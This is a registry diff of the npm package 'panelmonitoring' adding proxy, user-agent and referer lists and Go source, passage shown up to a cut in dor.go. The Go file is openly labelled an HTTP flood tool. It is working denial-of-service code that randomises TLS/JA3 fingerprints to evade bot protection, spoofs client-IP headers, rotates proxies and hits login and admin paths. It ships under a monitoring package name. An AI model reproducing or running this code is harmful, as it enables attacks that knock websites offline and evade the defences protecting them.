panelmonitoring 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.worker_encrypted +1 -0
- package/lib/cache/dor +0 -0
- package/lib/cache/dor.go +1302 -0
- package/lib/cache/h1-go +0 -0
- package/lib/cache/h1-go.go +442 -0
- package/package.json +22 -3
- package/panel-config.json +1 -0
- package/proxy.txt +60557 -0
- package/public/index.html +2256 -0
- package/referer.txt +2117 -0
- package/ua.txt +103225 -0
- package//346/216/247/345/210/266/351/235/242/346/235/277/346/240/270/345/277/203/345/220/257/345/212/250/346/250/241/345/235/227/345/210/235/345/247/213/345/214/226/347/250/213/345/272/217/344/270/273/345/205/245/345/217/243/346/226/207/344/273/266.js +1887 -0
- package/run.js +0 -83
package/lib/cache/dor.go
ADDED
|
@@ -0,0 +1,1302 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* DOR - HIGH PERFORMANCE HTTP FLOOD TOOL
|
|
3
|
+
*
|
|
4
|
+
* Features:
|
|
5
|
+
* - uTLS real browser fingerprints (Chrome 106, Firefox 105, Safari 16, Edge 106)
|
|
6
|
+
* - Byte-identical TLS ClientHello to real browsers (JA3 matching)
|
|
7
|
+
* - Per-worker transport with custom uTLS dialer
|
|
8
|
+
* - Header templates (clone, not 15 Set calls)
|
|
9
|
+
* - Pre-computed UA → profile index (zero scan at runtime)
|
|
10
|
+
* - Worker-local builders (no sync.Pool contention)
|
|
11
|
+
* - Fast hex generation via Int63 nibble extraction
|
|
12
|
+
* - Per-worker Rand source (lock-free)
|
|
13
|
+
* - SO_REUSEPORT + TCP_NODELAY
|
|
14
|
+
*
|
|
15
|
+
* Usage: ./dor <target> <port> <duration> <threads>
|
|
16
|
+
* Example: ./dor example.com 443 60 5000
|
|
17
|
+
*/
|
|
18
|
+
|
|
19
|
+
package main
|
|
20
|
+
|
|
21
|
+
import (
|
|
22
|
+
"bufio"
|
|
23
|
+
"context"
|
|
24
|
+
"crypto/tls"
|
|
25
|
+
"encoding/json"
|
|
26
|
+
"flag"
|
|
27
|
+
"fmt"
|
|
28
|
+
"net"
|
|
29
|
+
"net/http"
|
|
30
|
+
"os"
|
|
31
|
+
"runtime"
|
|
32
|
+
"strconv"
|
|
33
|
+
"strings"
|
|
34
|
+
"sync"
|
|
35
|
+
"sync/atomic"
|
|
36
|
+
"syscall"
|
|
37
|
+
"time"
|
|
38
|
+
|
|
39
|
+
utls "github.com/refraction-networking/utls"
|
|
40
|
+
"golang.org/x/net/http2"
|
|
41
|
+
mrand "math/rand"
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
// ==================== CONFIGURATION ====================
|
|
45
|
+
const (
|
|
46
|
+
CONN_TIMEOUT = 5 * time.Second
|
|
47
|
+
REQUEST_TIMEOUT = 5 * time.Second
|
|
48
|
+
KEEP_ALIVE = 600 * time.Second
|
|
49
|
+
MAX_IDLE_CONNS = 10000
|
|
50
|
+
MAX_CONNS_PER_HOST = 10000
|
|
51
|
+
UA_FILE_PATH = "ua.txt"
|
|
52
|
+
REFERER_FILE_PATH = "referer.txt"
|
|
53
|
+
STATS_FILE_PATH = "dor_stats.json"
|
|
54
|
+
HISTORY_FILE_PATH = "dor_history.log"
|
|
55
|
+
BATCH_SIZE = 500
|
|
56
|
+
RATE_LEARN_WINDOW = 200
|
|
57
|
+
INITIAL_RPS = 200000
|
|
58
|
+
SAVE_STATS_ENABLED = false
|
|
59
|
+
|
|
60
|
+
MAX_REQUESTS_PER_CONN = 10000
|
|
61
|
+
)
|
|
62
|
+
|
|
63
|
+
// ==================== ANSI COLORS ====================
|
|
64
|
+
const (
|
|
65
|
+
RESET = "\033[0m"
|
|
66
|
+
BOLD = "\033[1m"
|
|
67
|
+
DIM = "\033[2m"
|
|
68
|
+
RED = "\033[31m"
|
|
69
|
+
GREEN = "\033[32m"
|
|
70
|
+
YELLOW = "\033[33m"
|
|
71
|
+
BLUE = "\033[34m"
|
|
72
|
+
CYAN = "\033[36m"
|
|
73
|
+
WHITE = "\033[37m"
|
|
74
|
+
BRIGHT_RED = "\033[91m"
|
|
75
|
+
BRIGHT_GREEN = "\033[92m"
|
|
76
|
+
BRIGHT_CYAN = "\033[96m"
|
|
77
|
+
RGB_RED = "\033[38;2;255;100;100m"
|
|
78
|
+
RGB_GOLD = "\033[38;2;255;200;50m"
|
|
79
|
+
RGB_ORANGE = "\033[38;2;255;150;50m"
|
|
80
|
+
RGB_PURPLE = "\033[38;2;200;100;255m"
|
|
81
|
+
RGB_BLUE = "\033[38;2;100;150;255m"
|
|
82
|
+
)
|
|
83
|
+
|
|
84
|
+
// ==================== GLOBAL STATS ====================
|
|
85
|
+
var (
|
|
86
|
+
totalRequests uint64
|
|
87
|
+
successRequests uint64
|
|
88
|
+
totalErrors uint64
|
|
89
|
+
blockedRequests uint64
|
|
90
|
+
startTime time.Time
|
|
91
|
+
stopFlag int32
|
|
92
|
+
currentRPS uint64
|
|
93
|
+
totalLatency uint64
|
|
94
|
+
latencyCount uint64
|
|
95
|
+
)
|
|
96
|
+
|
|
97
|
+
// ==================== DYNAMIC JA3 FINGERPRINT ENGINE ====================
|
|
98
|
+
// Generates unique but VALID TLS fingerprints on-the-fly
|
|
99
|
+
// Each request gets a different fingerprint that mimics real browser patterns
|
|
100
|
+
|
|
101
|
+
type JA3Profile struct {
|
|
102
|
+
Version uint16
|
|
103
|
+
CipherSuites []uint16
|
|
104
|
+
Extensions []uint16
|
|
105
|
+
SupportedCurves []uint16
|
|
106
|
+
SupportedPoints []uint8
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// Real browser cipher suites (safe to mix)
|
|
110
|
+
var dynamicCipherPool = []uint16{
|
|
111
|
+
// TLS 1.3 suites
|
|
112
|
+
tls.TLS_AES_128_GCM_SHA256,
|
|
113
|
+
tls.TLS_AES_256_GCM_SHA384,
|
|
114
|
+
tls.TLS_CHACHA20_POLY1305_SHA256,
|
|
115
|
+
// TLS 1.2 suites (common in browsers)
|
|
116
|
+
0xc02c, // TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
|
|
117
|
+
0xc02b, // TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
|
|
118
|
+
0xc030, // TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
|
|
119
|
+
0xc02f, // TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
|
|
120
|
+
0xcca9, // TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305
|
|
121
|
+
0xcca8, // TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305
|
|
122
|
+
0xc024, // TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
|
|
123
|
+
0xc023, // TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
|
|
124
|
+
0xc027, // TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
|
|
125
|
+
0xc028, // TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
|
|
126
|
+
0x009c, // TLS_RSA_WITH_AES_128_GCM_SHA256
|
|
127
|
+
0x009d, // TLS_RSA_WITH_AES_256_GCM_SHA384
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
// Browser extensions (safe to randomize order)
|
|
131
|
+
var extensionPool = []uint16{
|
|
132
|
+
0x0000, // server_name (always required)
|
|
133
|
+
0x0005, // status_request
|
|
134
|
+
0x000a, // supported_groups
|
|
135
|
+
0x000b, // ec_point_formats
|
|
136
|
+
0x000d, // signature_algorithms
|
|
137
|
+
0x0010, // application_layer_protocol_negotiation
|
|
138
|
+
0x0012, // signed_certificate_timestamp
|
|
139
|
+
0x0015, // padding
|
|
140
|
+
0x0017, // extended_master_secret
|
|
141
|
+
0x001b, // compress_certificate
|
|
142
|
+
0x0023, // session_ticket
|
|
143
|
+
0x002b, // supported_versions
|
|
144
|
+
0x002d, // post_handshake_auth
|
|
145
|
+
0x0033, // key_share
|
|
146
|
+
0x0035, // psk_key_exchange_modes
|
|
147
|
+
0x4469, // extension_key_share (GREASE)
|
|
148
|
+
0xff01, // renegotiation_info
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
// GREASE values (Google's Randomly Inserted Greasing Extensions)
|
|
152
|
+
var greaseValues = []uint16{
|
|
153
|
+
0x0a0a, 0x1a1a, 0x2a2a, 0x3a3a, 0x4a4a, 0x5a5a, 0x6a6a, 0x7a7a,
|
|
154
|
+
0x8a8a, 0x9a9a, 0xaaaa, 0xbaba, 0xcaca, 0xdada, 0xeaea, 0xfafa,
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
// TLS versions (real browsers use these)
|
|
158
|
+
var tlsVersions = []uint16{
|
|
159
|
+
tls.VersionTLS12,
|
|
160
|
+
tls.VersionTLS13,
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
// Generate unique JA3 profile dynamically
|
|
164
|
+
func generateDynamicJA3(rng *mrand.Rand) JA3Profile {
|
|
165
|
+
// Pick TLS version (70% TLS 1.3, 30% TLS 1.2 - real world ratio)
|
|
166
|
+
var version uint16
|
|
167
|
+
if rng.Intn(100) < 70 {
|
|
168
|
+
version = tls.VersionTLS13
|
|
169
|
+
} else {
|
|
170
|
+
version = tls.VersionTLS12
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
// Select cipher suites (10-15 suites, like real browsers)
|
|
174
|
+
maxCiphers := len(dynamicCipherPool)
|
|
175
|
+
numCiphers := 10 + rng.Intn(6)
|
|
176
|
+
if numCiphers > maxCiphers {
|
|
177
|
+
numCiphers = maxCiphers
|
|
178
|
+
}
|
|
179
|
+
cipherIndices := rng.Perm(maxCiphers)
|
|
180
|
+
cipherSuites := make([]uint16, numCiphers)
|
|
181
|
+
for i := 0; i < numCiphers; i++ {
|
|
182
|
+
cipherSuites[i] = dynamicCipherPool[cipherIndices[i]]
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
// Add 1-2 GREASE ciphers at random positions
|
|
186
|
+
numGrease := 1 + rng.Intn(2)
|
|
187
|
+
for i := 0; i < numGrease; i++ {
|
|
188
|
+
pos := rng.Intn(numCiphers)
|
|
189
|
+
cipherSuites[pos] = greaseValues[rng.Intn(len(greaseValues))]
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
// Select extensions (real browsers use 18-24 extensions)
|
|
193
|
+
// Cap at available extension pool size (19 total, 8 critical = 11 remaining)
|
|
194
|
+
maxExtensions := 8 + len(extensionPool[8:]) // 8 critical + remaining from pool
|
|
195
|
+
numExtensions := 18 + rng.Intn(7)
|
|
196
|
+
if numExtensions > maxExtensions {
|
|
197
|
+
numExtensions = maxExtensions
|
|
198
|
+
}
|
|
199
|
+
extensionSubset := make([]uint16, numExtensions)
|
|
200
|
+
|
|
201
|
+
// Always include critical extensions
|
|
202
|
+
extensionSubset[0] = 0x0000 // server_name
|
|
203
|
+
extensionSubset[1] = 0x000a // supported_groups
|
|
204
|
+
extensionSubset[2] = 0x000b // ec_point_formats
|
|
205
|
+
extensionSubset[3] = 0x000d // signature_algorithms
|
|
206
|
+
extensionSubset[4] = 0x0010 // alpn
|
|
207
|
+
extensionSubset[5] = 0x002b // supported_versions
|
|
208
|
+
extensionSubset[6] = 0x0033 // key_share
|
|
209
|
+
extensionSubset[7] = 0x0035 // psk_key_exchange_modes
|
|
210
|
+
|
|
211
|
+
// Randomize remaining extensions
|
|
212
|
+
remainingExtensions := make([]uint16, 0)
|
|
213
|
+
for _, ext := range extensionPool[8:] {
|
|
214
|
+
remainingExtensions = append(remainingExtensions, ext)
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
rng.Shuffle(len(remainingExtensions), func(i, j int) {
|
|
218
|
+
remainingExtensions[i], remainingExtensions[j] = remainingExtensions[j], remainingExtensions[i]
|
|
219
|
+
})
|
|
220
|
+
|
|
221
|
+
for i := 8; i < numExtensions && i-8 < len(remainingExtensions); i++ {
|
|
222
|
+
extensionSubset[i] = remainingExtensions[i-8]
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// Add 1-3 GREASE extensions at random positions
|
|
226
|
+
for i := 0; i < 1+rng.Intn(3); i++ {
|
|
227
|
+
pos := 8 + rng.Intn(numExtensions-8)
|
|
228
|
+
extensionSubset[pos] = greaseValues[rng.Intn(len(greaseValues))]
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
// Shuffle extension order (but keep server_name first)
|
|
232
|
+
shuffled := extensionSubset[1:]
|
|
233
|
+
rng.Shuffle(len(shuffled), func(i, j int) {
|
|
234
|
+
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
|
|
235
|
+
})
|
|
236
|
+
copy(extensionSubset[1:], shuffled)
|
|
237
|
+
|
|
238
|
+
// Select curves (real browsers use 3-5 curves)
|
|
239
|
+
allCurves := []uint16{0x001d, 0x0017, 0x0018, 0x0019, 0x0100, 0x0101, 0x0102}
|
|
240
|
+
numCurves := 3 + rng.Intn(3)
|
|
241
|
+
curveIndices := rng.Perm(len(allCurves))
|
|
242
|
+
supportedCurves := make([]uint16, numCurves)
|
|
243
|
+
for i := 0; i < numCurves; i++ {
|
|
244
|
+
supportedCurves[i] = allCurves[curveIndices[i]]
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
// Add GREASE curve
|
|
248
|
+
curveIndices2 := rng.Perm(len(supportedCurves))
|
|
249
|
+
greasePos := curveIndices2[0]
|
|
250
|
+
supportedCurves[greasePos] = greaseValues[rng.Intn(len(greaseValues))]
|
|
251
|
+
|
|
252
|
+
// Point formats (real browsers use 2-3)
|
|
253
|
+
supportedPoints := []uint8{0x00, 0x01}
|
|
254
|
+
if rng.Intn(2) == 0 {
|
|
255
|
+
supportedPoints = append(supportedPoints, 0x02)
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
return JA3Profile{
|
|
259
|
+
Version: version,
|
|
260
|
+
CipherSuites: cipherSuites,
|
|
261
|
+
Extensions: extensionSubset,
|
|
262
|
+
SupportedCurves: supportedCurves,
|
|
263
|
+
SupportedPoints: supportedPoints,
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// ==================== BROWSER FINGERPRINTS (uTLS) - BACKWARD COMPAT ====================
|
|
268
|
+
var browserFingerprints = []struct {
|
|
269
|
+
name string
|
|
270
|
+
helloID utls.ClientHelloID
|
|
271
|
+
}{
|
|
272
|
+
{"Chrome 106", utls.HelloChrome_106_Shuffle},
|
|
273
|
+
{"Firefox 105", utls.HelloFirefox_105},
|
|
274
|
+
{"Safari 16", utls.HelloSafari_16_0},
|
|
275
|
+
{"Edge 106", utls.HelloEdge_106},
|
|
276
|
+
}
|
|
277
|
+
|
|
278
|
+
// ==================== HEADER PROFILES ====================
|
|
279
|
+
var headerProfiles = []struct {
|
|
280
|
+
userAgentMatch string
|
|
281
|
+
accept string
|
|
282
|
+
language string
|
|
283
|
+
encoding string
|
|
284
|
+
chua string
|
|
285
|
+
chuaPlatform string
|
|
286
|
+
}{
|
|
287
|
+
{
|
|
288
|
+
userAgentMatch: "Chrome.*Windows",
|
|
289
|
+
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
|
290
|
+
language: "en-US,en;q=0.9",
|
|
291
|
+
encoding: "gzip, deflate, br",
|
|
292
|
+
chua: `"Not A(Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"`,
|
|
293
|
+
chuaPlatform: `"Windows"`,
|
|
294
|
+
},
|
|
295
|
+
{
|
|
296
|
+
userAgentMatch: "Firefox",
|
|
297
|
+
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
|
|
298
|
+
language: "en-US,en;q=0.5",
|
|
299
|
+
encoding: "gzip, deflate, br",
|
|
300
|
+
chua: `""`,
|
|
301
|
+
chuaPlatform: `"Windows"`,
|
|
302
|
+
},
|
|
303
|
+
{
|
|
304
|
+
userAgentMatch: "Safari.*Mac",
|
|
305
|
+
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
306
|
+
language: "en-US,en;q=0.9",
|
|
307
|
+
encoding: "gzip, deflate, br",
|
|
308
|
+
chua: `"Safari";v="17", "Chrome";v="120"`,
|
|
309
|
+
chuaPlatform: `"macOS"`,
|
|
310
|
+
},
|
|
311
|
+
{
|
|
312
|
+
userAgentMatch: "Edg/",
|
|
313
|
+
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
|
314
|
+
language: "en-US,en;q=0.9",
|
|
315
|
+
encoding: "gzip, deflate, br",
|
|
316
|
+
chua: `"Not A(Brand";v="99", "Microsoft Edge";v="120", "Chromium";v="120"`,
|
|
317
|
+
chuaPlatform: `"Windows"`,
|
|
318
|
+
},
|
|
319
|
+
{
|
|
320
|
+
userAgentMatch: "Mobile.*Chrome",
|
|
321
|
+
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
|
322
|
+
language: "en-US,en;q=0.9",
|
|
323
|
+
encoding: "gzip, deflate, br",
|
|
324
|
+
chua: `"Not A(Brand";v="99", "Chrome";v="120", "Chromium";v="120"`,
|
|
325
|
+
chuaPlatform: `"Android"`,
|
|
326
|
+
},
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
// ==================== COMMON PATHS ====================
|
|
330
|
+
var commonPaths = []string{
|
|
331
|
+
"/", "/index.html", "/home", "/main",
|
|
332
|
+
"/wp-admin/admin-ajax.php", "/wp-login.php", "/admin", "/login",
|
|
333
|
+
"/api/v1/users", "/api/v2/posts", "/api/v3/data",
|
|
334
|
+
"/search", "/products", "/shop", "/cart", "/checkout",
|
|
335
|
+
"/blog", "/news", "/articles", "/posts", "/feed",
|
|
336
|
+
"/images/logo.png", "/css/style.css", "/js/main.js",
|
|
337
|
+
"/static/js/app.js", "/static/css/main.css",
|
|
338
|
+
"/favicon.ico", "/robots.txt", "/sitemap.xml",
|
|
339
|
+
}
|
|
340
|
+
|
|
341
|
+
var secFetchDest = []string{"document", "iframe", "image"}
|
|
342
|
+
var secFetchMode = []string{"navigate", "cors", "no-cors"}
|
|
343
|
+
var secFetchSite = []string{"none", "same-origin", "cross-site"}
|
|
344
|
+
var cacheControls = []string{"no-cache", "no-store", "max-age=0"}
|
|
345
|
+
|
|
346
|
+
// ==================== QUERY PARAM POOL ====================
|
|
347
|
+
var queryParamPool [64]string
|
|
348
|
+
|
|
349
|
+
func initQueryParamPool() {
|
|
350
|
+
const hexDigits = "0123456789abcdef"
|
|
351
|
+
for i := 0; i < 64; i++ {
|
|
352
|
+
v1 := int64(mrand.Int63())
|
|
353
|
+
v2 := int64(mrand.Int63())
|
|
354
|
+
var key, val [12]byte
|
|
355
|
+
for j := 0; j < 12; j++ {
|
|
356
|
+
key[j] = hexDigits[(v1>>(j*4))&0xf]
|
|
357
|
+
val[j] = hexDigits[(v2>>(j*4))&0xf]
|
|
358
|
+
}
|
|
359
|
+
queryParamPool[i] = "?" + string(key[:]) + "=" + string(val[:])
|
|
360
|
+
}
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
// ==================== UA ENTRY ====================
|
|
364
|
+
type UAEntry struct {
|
|
365
|
+
ua string
|
|
366
|
+
profileIdx int
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
// ==================== USER AGENT LOADER ====================
|
|
370
|
+
type UALoader struct {
|
|
371
|
+
entries []UAEntry
|
|
372
|
+
index uint64
|
|
373
|
+
}
|
|
374
|
+
|
|
375
|
+
func NewUALoader(filePath string) *UALoader {
|
|
376
|
+
u := &UALoader{entries: make([]UAEntry, 0, 1000)}
|
|
377
|
+
file, err := os.Open(filePath)
|
|
378
|
+
if err != nil {
|
|
379
|
+
return u
|
|
380
|
+
}
|
|
381
|
+
defer file.Close()
|
|
382
|
+
|
|
383
|
+
scanner := bufio.NewScanner(file)
|
|
384
|
+
scanner.Buffer(make([]byte, 4096), 1024*1024)
|
|
385
|
+
for scanner.Scan() && len(u.entries) < 1000 {
|
|
386
|
+
line := strings.TrimSpace(scanner.Text())
|
|
387
|
+
if line != "" && !strings.HasPrefix(line, "#") {
|
|
388
|
+
u.entries = append(u.entries, UAEntry{
|
|
389
|
+
ua: line,
|
|
390
|
+
profileIdx: profileForUA(line),
|
|
391
|
+
})
|
|
392
|
+
}
|
|
393
|
+
}
|
|
394
|
+
return u
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
func (u *UALoader) GetUA() UAEntry {
|
|
398
|
+
if len(u.entries) == 0 {
|
|
399
|
+
ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
|
|
400
|
+
return UAEntry{ua: ua, profileIdx: profileForUA(ua)}
|
|
401
|
+
}
|
|
402
|
+
idx := atomic.AddUint64(&u.index, 1) % uint64(len(u.entries))
|
|
403
|
+
return u.entries[idx]
|
|
404
|
+
}
|
|
405
|
+
|
|
406
|
+
func (u *UALoader) Count() int {
|
|
407
|
+
return len(u.entries)
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
func profileForUA(ua string) int {
|
|
411
|
+
for i, p := range headerProfiles {
|
|
412
|
+
if strings.Contains(ua, p.userAgentMatch) {
|
|
413
|
+
return i
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
return 0
|
|
417
|
+
}
|
|
418
|
+
|
|
419
|
+
// ==================== REFERER LOADER ====================
|
|
420
|
+
type RefererLoader struct {
|
|
421
|
+
lines []string
|
|
422
|
+
index uint64
|
|
423
|
+
}
|
|
424
|
+
|
|
425
|
+
func NewRefererLoader(filePath string) *RefererLoader {
|
|
426
|
+
rl := &RefererLoader{lines: make([]string, 0, 500)}
|
|
427
|
+
file, err := os.Open(filePath)
|
|
428
|
+
if err == nil {
|
|
429
|
+
defer file.Close()
|
|
430
|
+
scanner := bufio.NewScanner(file)
|
|
431
|
+
for scanner.Scan() {
|
|
432
|
+
line := strings.TrimSpace(scanner.Text())
|
|
433
|
+
if line != "" && !strings.HasPrefix(line, "#") {
|
|
434
|
+
rl.lines = append(rl.lines, line)
|
|
435
|
+
}
|
|
436
|
+
}
|
|
437
|
+
}
|
|
438
|
+
if len(rl.lines) == 0 {
|
|
439
|
+
rl.lines = []string{
|
|
440
|
+
"https://www.google.com/",
|
|
441
|
+
"https://www.bing.com/",
|
|
442
|
+
"https://www.yahoo.com/",
|
|
443
|
+
"https://www.facebook.com/",
|
|
444
|
+
"https://www.youtube.com/",
|
|
445
|
+
}
|
|
446
|
+
}
|
|
447
|
+
return rl
|
|
448
|
+
}
|
|
449
|
+
|
|
450
|
+
func (rl *RefererLoader) GetReferer() string {
|
|
451
|
+
if len(rl.lines) == 0 {
|
|
452
|
+
return "https://www.google.com/"
|
|
453
|
+
}
|
|
454
|
+
idx := atomic.AddUint64(&rl.index, 1) % uint64(len(rl.lines))
|
|
455
|
+
return rl.lines[idx]
|
|
456
|
+
}
|
|
457
|
+
|
|
458
|
+
func (rl *RefererLoader) Count() int {
|
|
459
|
+
return len(rl.lines)
|
|
460
|
+
}
|
|
461
|
+
|
|
462
|
+
// ==================== COOKIE JAR ====================
|
|
463
|
+
type CookieJar struct {
|
|
464
|
+
cookies sync.Map
|
|
465
|
+
}
|
|
466
|
+
|
|
467
|
+
func (cj *CookieJar) Get(host string) string {
|
|
468
|
+
if v, ok := cj.cookies.Load(host); ok {
|
|
469
|
+
return v.(string)
|
|
470
|
+
}
|
|
471
|
+
return ""
|
|
472
|
+
}
|
|
473
|
+
|
|
474
|
+
func (cj *CookieJar) Set(host, cookie string) {
|
|
475
|
+
cj.cookies.Store(host, cookie)
|
|
476
|
+
}
|
|
477
|
+
|
|
478
|
+
// ==================== HEADER TEMPLATE ====================
|
|
479
|
+
type HeaderTemplate struct {
|
|
480
|
+
profileIdx int
|
|
481
|
+
baseHeaders map[string]string
|
|
482
|
+
}
|
|
483
|
+
|
|
484
|
+
func BuildHeaderTemplates() []*HeaderTemplate {
|
|
485
|
+
templates := make([]*HeaderTemplate, len(headerProfiles))
|
|
486
|
+
for i, p := range headerProfiles {
|
|
487
|
+
base := make(map[string]string)
|
|
488
|
+
base["Accept"] = p.accept
|
|
489
|
+
base["Accept-Encoding"] = p.encoding
|
|
490
|
+
base["Accept-Language"] = p.language
|
|
491
|
+
base["Cache-Control"] = "no-cache"
|
|
492
|
+
base["Connection"] = "keep-alive"
|
|
493
|
+
base["Pragma"] = "no-cache"
|
|
494
|
+
base["Upgrade-Insecure-Requests"] = "1"
|
|
495
|
+
base["Sec-Fetch-Dest"] = "document"
|
|
496
|
+
base["Sec-Fetch-Mode"] = "navigate"
|
|
497
|
+
base["Sec-Fetch-Site"] = "cross-site"
|
|
498
|
+
base["Sec-Fetch-User"] = "?1"
|
|
499
|
+
if p.chua != `""` {
|
|
500
|
+
base["Sec-Ch-Ua"] = p.chua
|
|
501
|
+
base["Sec-Ch-Ua-Mobile"] = "?0"
|
|
502
|
+
base["Sec-Ch-Ua-Platform"] = p.chuaPlatform
|
|
503
|
+
}
|
|
504
|
+
templates[i] = &HeaderTemplate{
|
|
505
|
+
profileIdx: i,
|
|
506
|
+
baseHeaders: base,
|
|
507
|
+
}
|
|
508
|
+
}
|
|
509
|
+
return templates
|
|
510
|
+
}
|
|
511
|
+
|
|
512
|
+
func cloneHeaders(tmpl *HeaderTemplate, ua string, referer string, proxyIP string, rng *mrand.Rand, cookie string) http.Header {
|
|
513
|
+
h := make(http.Header, len(tmpl.baseHeaders)+5)
|
|
514
|
+
for k, v := range tmpl.baseHeaders {
|
|
515
|
+
dst := make([]string, 1)
|
|
516
|
+
dst[0] = v
|
|
517
|
+
h[k] = dst
|
|
518
|
+
}
|
|
519
|
+
h.Set("User-Agent", ua)
|
|
520
|
+
h.Set("Referer", referer)
|
|
521
|
+
h.Set("Cache-Control", cacheControls[rng.Intn(len(cacheControls))])
|
|
522
|
+
h.Set("Sec-Fetch-Dest", secFetchDest[rng.Intn(len(secFetchDest))])
|
|
523
|
+
h.Set("Sec-Fetch-Mode", secFetchMode[rng.Intn(len(secFetchMode))])
|
|
524
|
+
h.Set("Sec-Fetch-Site", secFetchSite[rng.Intn(len(secFetchSite))])
|
|
525
|
+
|
|
526
|
+
if proxyIP != "" {
|
|
527
|
+
h.Set("X-Forwarded-For", proxyIP)
|
|
528
|
+
h.Set("X-Real-Ip", proxyIP)
|
|
529
|
+
h.Set("X-Client-Ip", proxyIP)
|
|
530
|
+
} else {
|
|
531
|
+
h.Set("X-Forwarded-For", randomIP(rng))
|
|
532
|
+
h.Set("Cf-Connecting-Ip", randomIP(rng))
|
|
533
|
+
}
|
|
534
|
+
|
|
535
|
+
if cookie != "" {
|
|
536
|
+
h.Set("Cookie", cookie)
|
|
537
|
+
}
|
|
538
|
+
return h
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
// ==================== RATE LEARNER ====================
|
|
542
|
+
type RateLearner struct {
|
|
543
|
+
target string
|
|
544
|
+
optimalRPS int64
|
|
545
|
+
currentRPS int64
|
|
546
|
+
successCount int64
|
|
547
|
+
errorCount int64
|
|
548
|
+
windowSize int64
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
func NewRateLearner(target string) *RateLearner {
|
|
552
|
+
return &RateLearner{
|
|
553
|
+
target: target,
|
|
554
|
+
currentRPS: INITIAL_RPS,
|
|
555
|
+
optimalRPS: INITIAL_RPS,
|
|
556
|
+
windowSize: RATE_LEARN_WINDOW,
|
|
557
|
+
}
|
|
558
|
+
}
|
|
559
|
+
|
|
560
|
+
func (rl *RateLearner) Record(successDelta, errorDelta int64) {
|
|
561
|
+
newSuccess := atomic.AddInt64(&rl.successCount, successDelta)
|
|
562
|
+
newError := atomic.AddInt64(&rl.errorCount, errorDelta)
|
|
563
|
+
total := newSuccess + newError
|
|
564
|
+
if total >= atomic.LoadInt64(&rl.windowSize) {
|
|
565
|
+
current := atomic.LoadInt64(&rl.currentRPS)
|
|
566
|
+
if newError > 0 {
|
|
567
|
+
newRPS := current * 70 / 100
|
|
568
|
+
if newRPS < 100 {
|
|
569
|
+
newRPS = 100
|
|
570
|
+
}
|
|
571
|
+
atomic.StoreInt64(&rl.currentRPS, newRPS)
|
|
572
|
+
} else if newSuccess > 0 && current < 5000 {
|
|
573
|
+
atomic.StoreInt64(&rl.currentRPS, current+100)
|
|
574
|
+
}
|
|
575
|
+
if float64(newSuccess)/float64(total+1) > 0.95 {
|
|
576
|
+
atomic.StoreInt64(&rl.optimalRPS, atomic.LoadInt64(&rl.currentRPS))
|
|
577
|
+
}
|
|
578
|
+
atomic.StoreInt64(&rl.successCount, 0)
|
|
579
|
+
atomic.StoreInt64(&rl.errorCount, 0)
|
|
580
|
+
}
|
|
581
|
+
}
|
|
582
|
+
|
|
583
|
+
// ==================== PROXY MANAGER ====================
|
|
584
|
+
type ProxyManager struct {
|
|
585
|
+
ips []string
|
|
586
|
+
index uint64
|
|
587
|
+
count int
|
|
588
|
+
}
|
|
589
|
+
|
|
590
|
+
func NewProxyManager(proxyFile string) *ProxyManager {
|
|
591
|
+
pm := &ProxyManager{}
|
|
592
|
+
if proxyFile != "" {
|
|
593
|
+
proxies, ips := loadProxies(proxyFile)
|
|
594
|
+
pm.ips = ips
|
|
595
|
+
pm.count = len(proxies)
|
|
596
|
+
}
|
|
597
|
+
return pm
|
|
598
|
+
}
|
|
599
|
+
|
|
600
|
+
func loadProxies(filename string) ([]string, []string) {
|
|
